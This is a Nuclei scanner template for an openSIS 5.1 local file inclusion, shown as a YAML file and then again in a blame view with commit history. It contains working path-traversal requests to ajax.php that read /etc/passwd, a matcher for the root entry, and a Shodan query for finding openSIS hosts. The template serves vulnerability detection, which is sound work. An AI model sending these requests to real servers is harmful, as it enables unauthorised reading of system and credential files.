nuclei-templates/vulnerabilities/other/opensis-lfi.yaml

id: opensis-lfi

info:
  name: openSIS 5.1 - 'ajax.php' Local File Inclusion
  author: pikpikcu
  severity: high
  description: An attacker can exploit a vulnerability in openSIS to obtain potentially sensitive information and execute arbitrary local scripts in the context of the Web server process. This may allow the attacker
    to compromise the application and computer; other attacks are also possible.
  reference:
    - https://www.exploit-db.com/exploits/38039
  metadata:
    shodan-query: http.title:"openSIS"
  tags: opensis,lfi

requests:
  - method: GET
    path:
      - "{{BaseURL}}/opensis/ajax.php?modname=misc/../../../../../../../../../../../../../etc/passwd&bypass=Transcripts.php"
      - "{{BaseURL}}/ajax.php?modname=misc/../../../../../../../../../../../../../etc/passwd&bypass=Transcripts.php"

    matchers-condition: and
    matchers:

      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
Create opensis-lfi.yaml 2021-07-27 00:43:02 +00:00			`id: opensis-lfi`

			`info:`
			`name: openSIS 5.1 - 'ajax.php' Local File Inclusion`
			`author: pikpikcu`
			`severity: high`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`description: An attacker can exploit a vulnerability in openSIS to obtain potentially sensitive information and execute arbitrary local scripts in the context of the Web server process. This may allow the attacker`
			`to compromise the application and computer; other attacks are also possible.`
Removed pipe (\|) character from references, because the structure requires it to be a string slice, not a string Related nuclei tickets: * #259 - dynamic key-value field support for template information * #940 - new infos in template * #834 * RES-84 2021-08-19 13:59:12 +00:00			`reference:`
Create opensis-lfi.yaml 2021-07-27 00:43:02 +00:00			`- https://www.exploit-db.com/exploits/38039`
Update opensis-lfi.yaml 2022-07-10 09:37:18 +00:00			`metadata:`
			`shodan-query: http.title:"openSIS"`
Create opensis-lfi.yaml 2021-07-27 00:43:02 +00:00			`tags: opensis,lfi`

			`requests:`
			`- method: GET`
			`path:`
Update opensis-lfi.yaml 2021-07-27 01:07:21 +00:00			`- "{{BaseURL}}/opensis/ajax.php?modname=misc/../../../../../../../../../../../../../etc/passwd&bypass=Transcripts.php"`
			`- "{{BaseURL}}/ajax.php?modname=misc/../../../../../../../../../../../../../etc/passwd&bypass=Transcripts.php"`
Create opensis-lfi.yaml 2021-07-27 00:43:02 +00:00
			`matchers-condition: and`
			`matchers:`

			`- type: regex`
			`regex:`
			`- "root:[x*]:0:0"`

			`- type: status`
			`status:`
Update opensis-lfi.yaml 2021-07-27 01:07:21 +00:00			`- 200`